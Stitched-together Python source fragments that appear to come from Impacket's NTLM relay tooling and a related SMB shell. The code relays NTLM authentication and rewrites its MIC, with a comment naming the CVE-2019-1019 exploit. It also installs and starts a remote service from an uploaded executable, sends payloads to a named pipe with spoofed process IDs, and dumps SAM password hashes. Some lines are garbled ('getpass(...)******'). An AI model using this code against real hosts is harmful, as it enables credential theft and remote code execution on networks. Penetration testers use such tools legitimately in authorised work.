NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 authenticateMessageBlob = authMessage.getData() #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # # We need to unwrap SPNEGO and get the NTLMSSP # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) # authData = respToken['ResponseToken'] #else: authData = authenticateMessageBlob signingKey = None if self.serverConfig.remove_target: # Trying to exploit CVE-2019-1019 # Discovery and Implementation by @simakov_marina and @YaronZi # respToken2 = SPNEGO_NegTokenResp(authData) authenticateMessageBlob = authData errorCode, signingKey = self.netlogonSessionKey(authData) # Recalculate MIC res = NTLMAuthChallengeResponse() res.fromString(authenticateMessageBlob) newAuthBlob = authenticateMessageBlob[ 0:0x48] + b'\x00' * 16 + authenticateMessageBlob[0x58:] relay_MIC = hmac_md5( signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob[ 0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] authData = authenticateMessageBlob[ 0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] #authData = respToken2.getData() if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) if signingKey: logging.info("Enabling session signing") self.session._SMBConnection.set_session_key(signingKey) return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authData) sessionSetup['Buffer'] = authData packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status'] def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len(authData) sessionSetup['Data']['SecurityBlob'] = authData smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def getStandardSecurityChallenge(self): if self.session.getDialect() == SMB_DIALECT: return self.session.getSMBServer().get_encryption_key() else: return None def isAdmin(self): rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW( dce, '{}\x00'.format(self.target.hostname), 'ServicesActive\x00', 0xF003F) return "TRUE" except scmr.DCERPCException as e: pass return "FALSE"
class ServiceInstall: def __init__(self, SMBObject, exeFile, serviceName=''): self._rpctransport = 0 self.__service_name = serviceName if len(serviceName) > 0 else ''.join([random.choice(string.ascii_letters) for i in range(4)]) self.__binary_service_name = ''.join([random.choice(string.ascii_letters) for i in range(8)]) + '.exe' self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = SMBConnection(existingConnection = SMBObject) else: self.connection = SMBObject self.share = '' def getShare(self): return self.share def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle'] def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename = r'\svcctl', smb_connection = self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle'] def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = f.replace('/','\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close() def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile ,self.share,self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical("Error performing the installation, cleaning up: %s" %e) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00') service = resp['lpServiceHandle'] LOG.info('Stopping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up" ) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
class MiniImpacketShell(cmd.Cmd): def __init__(self, smbClient, tcpShell=None): #If the tcpShell parameter is passed (used in ntlmrelayx), # all input and output is redirected to a tcp socket # instead of to stdin / stdout if tcpShell is not None: cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout) sys.stdout = tcpShell.stdout sys.stdin = tcpShell.stdin sys.stderr = tcpShell.stdout self.use_rawinput = False self.shell = tcpShell else: cmd.Cmd.__init__(self) self.shell = None self.prompt = '# ' self.smb = smbClient self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials() self.tid = None self.intro = 'Type help for list of commands' self.pwd = '' self.share = None self.loggedIn = True self.last_output = None self.completion = [] def emptyline(self): pass def precmd(self, line): # switch to unicode return line def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: LOG.error(e) LOG.debug('Exception info', exc_info=True) return retVal def do_exit(self,line): if self.shell is not None: self.shell.close() return True def do_shell(self, line): output = os.popen(line).read() print(output) self.last_output = output def do_help(self,line): print(""" open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path mget {mask} - downloads all files from the current directory matching the provided mask cat {filename} - reads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) list_snapshots {path} - lists the vss snapshots for the specified path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) """) def do_password(self, line): if self.loggedIn is False: LOG.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:"******"SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: LOG.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: LOG.info("SMBv2.1 dialect used") else: LOG.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_kerberos_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': LOG.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_login_hash(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: LOG.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: LOG.info("GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_logoff(self, line): if self.smb is None: LOG.error("No connection open") return self.smb.logoff() del self.smb self.share = None self.smb = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_info(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) def do_who(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) def do_shares(self, line): if self.loggedIn is False: LOG.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print(resp[i]['shi1_netname'][:-1]) def do_use(self,line): if self.loggedIn is False: LOG.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def do_cd(self, line): if self.tid is None: LOG.error("No share selected") return p = line.replace('/','\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE ) self.smb.closeFile(self.tid,fid) except SessionError: self.pwd = oldpwd raise def do_lcd(self, s): print(s) if s == '': print(os.getcwd()) else: os.chdir(s) def do_pwd(self,line): if self.loggedIn is False: LOG.error("Not logged in") return print(self.pwd) def do_ls(self, wildcard, display = True): if self.loggedIn is False: LOG.error("Not logged in") return if self.tid is None: LOG.error("No share selected") return if wildcard == '': pwd = ntpath.join(self.pwd,'*') else: pwd = ntpath.join(self.pwd, wildcard) self.completion = [] pwd = pwd.replace('/','\\') pwd = ntpath.normpath(pwd) for f in self.smb.listPath(self.share, pwd): if display is True: print("%crw-rw-rw- %10d %s %s" % ( 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory())) def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") return f = ntpath.join(self.pwd, filename) file = f.replace('/','\\') self.smb.deleteFile(self.share, file) def do_mkdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.createDirectory(self.share,pathname) def do_rmdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.deleteDirectory(self.share, pathname) def do_put(self, pathname): if self.tid is None: LOG.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = f.replace('/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close() def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories p = line.replace('/','\\') if p.find('\\') < 0: items = [] if include == 1: mask = 0 else: mask = 0x010 for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_mget(self, mask): if mask == '': LOG.error("A mask must be provided") return if self.tid is None: LOG.error("No share selected") return self.do_ls(mask,display=False) if len(self.completion) == 0: LOG.error("No files found matching the provided mask") return for file_tuple in self.completion: if file_tuple[1] == 0: filename = file_tuple[0] filename = filename.replace('/', '\\') fh = open(ntpath.basename(filename), 'wb') pathname = ntpath.join(self.pwd, filename) try: LOG.info("Downloading %s" % (filename)) self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_get(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_cat(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = BytesIO() pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: raise output = fh.getvalue() encoding = "" # chardet.detect(output)["encoding"] error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" if encoding: try: print(output.decode(encoding)) except: print(error_msg) finally: fh.close() else: print(error_msg) fh.close() def do_close(self, line): self.do_logoff(line) def do_list_snapshots(self, line): l = line.split(' ') if len(l) > 0: pathName= l[0].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) snapshotList = self.smb.listSnapshots(self.tid, pathName) if not snapshotList: print("No snapshots found") return for timestamp in snapshotList: print(timestamp) def do_mount(self, line): l = line.split(' ') if len(l) > 1: target = l[0].replace('/','\\') pathName= l[1].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) self.smb.createMountPoint(self.tid, pathName, target) def do_umount(self, mountpoint): mountpoint = mountpoint.replace('/','\\') # Relative or absolute path? if mountpoint.startswith('\\') is not True: mountpoint = ntpath.join(self.pwd, mountpoint) mountPath = ntpath.join(self.pwd, mountpoint) self.smb.removeMountPoint(self.tid, mountPath) def do_EOF(self, line): print('Bye!\n') return True
class NPAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["NP"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) self.pid = int(config.pipe_client_pid) self.pipe_name = config.pipe_name self.payload = config.payload_path if not config.command: self.command = 'c:\\windows\\system32\\cmd.exe' else: self.command = config.command self.sendSMB_Original = self.client._SMBConnection.sendSMB self.client._SMBConnection.sendSMB = types.MethodType( self.sendSMB, self.client._SMBConnection) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient def openPipe(self, tid, pipe, accessMask): pipeReady = False tries = 50 while pipeReady is False and tries > 0: try: self.__SMBConnection.waitNamedPipe(tid, pipe) pipeReady = True except Exception as e: print(str(e)) tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = self.__SMBConnection.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) return fid def isPipeAvailable(self, tid): try: fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f) self.__SMBConnection.closeFile(tid, fid) return True except: return False def sendPayload(self, tid): result = True fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f) payload_file = open(self.payload, mode='rb') payload = payload_file.read() response = None try: self.__SMBConnection.writeNamedPipe(tid, fid, payload, True) response = self.__SMBConnection.readNamedPipe(tid, fid) except Exception as e: response = e result = False finally: self.__SMBConnection.closeFile(tid, fid) return result def getData(self, original): original['Pid'] = self.pid return original.orignalGetData() def sendSMB(self, original, packet): # Some ugly hacks here, essentially we are hooking # some original SMB1/2 function from impacket so we # can intercept the calls and patch the PID at the correct point if packet['Command'] is SMB2_CREATE: #SMB2/3 # If the command type is create for opening files/named pipes # then replace the Reserved (PID) field with our spoofed PID packet["Reserved"] = self.pid elif packet['Command'] is SMB.SMB_COM_NT_CREATE_ANDX: #SMB1 # Additional level of hooks here since SMB1 packets are # handled differently, and in fact the impacket does use # the real process PID of the client, so we need to override # that behavior packet.orignalGetData = packet.getData packet.getData = types.MethodType(self.getData, packet) # Send our packet using original sendSMB function self.sendSMB_Original(packet) def run(self): tid = self.__SMBConnection.connectTree('IPC$') if not self.isPipeAvailable(tid): LOG.warn("Pipe not found or accessible on host %s" % (self.__SMBConnection.getRemoteHost())) return if self.pid is 0: LOG.info( "Pipe found and writable on %s, starting attack through PID cycling!" % (self.__SMBConnection.getRemoteHost())) self.pid = 4 while self.pid < 50000 and self.sendPayload(tid) is False: self.pid += 4 LOG.info("Finished PID cycling on host %s", self.__SMBConnection.getRemoteHost()) else: LOG.info( "Pipe found and writable on %s, sending payload using PID %d!" % (self.__SMBConnection.getRemoteHost(), self.pid)) self.sendPayload(tid) self.__SMBConnection.close()
class SMBAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["SMB"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__answerTMP = '' if self.config.interactive: #Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException, e: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: LOG.error(str(e))
class SMBShell(PsExec, Samr, SvcCtl): def __init__(self, target, credential, local_name): self.__dstip = target.get_host() self.__dstport = target.get_port() self.__user = credential.get_user() self.__password = credential.get_password() self.__lmhash = credential.get_lm_hash() self.__nthash = credential.get_nt_hash() self.__domain = credential.get_domain() self.__is_admin = credential.get_is_admin() self.__srcfile = local_name self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip self.__timeout = 5 * 60 self.smb = None self.tid = None self.pwd = '\\' self.share = '' self.shares_list = [] self.domains_dict = {} self.users_list = set() self.completion = [] self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8)) self.connect() logger.debug('Connection to host %s established' % target.get_identity()) self.login() logger.debug( 'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user))) logger.info('Looking for a writable share, wait..') _ = self.get_writable_share() self.info(False) if _: DataStore.writable_share = _ else: logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work' % DataStore.writable_share) if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1): DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp') else: DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp') def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout) def login(self): try: self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash) except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.error('SMB error: %s' % (e.getErrorString(),)) raise RuntimeError def logoff(self): self.smb.logoff() def smb_transport(self, named_pipe): self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe, smb_connection=self.smb, remote_host=self.__dstip) try: self.trans.connect() except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.warn('SMB error: %s' % e.getErrorString()) raise RuntimeError def info(self, display=True): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.bind(srvs.MSRPC_UUID_SRVS) try: self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query server information') return None self.__dce.disconnect() DataStore.server_os = self.smb.getServerOS() DataStore.server_name = self.smb.getServerName() DataStore.server_domain = self.smb.getServerDomain() DataStore.server_host = self.smb.getRemoteHost() DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath'] DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major'] DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] if display: print('Operating system: %s' % self.smb.getServerOS()) print('Netbios name: %s' % self.smb.getServerName()) print('Domain: %s' % self.smb.getServerDomain()) print('SMB dialect: %s' % check_dialect(self.smb.getDialect())) print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2()) print('UserPath: %s' % DataStore.user_path) 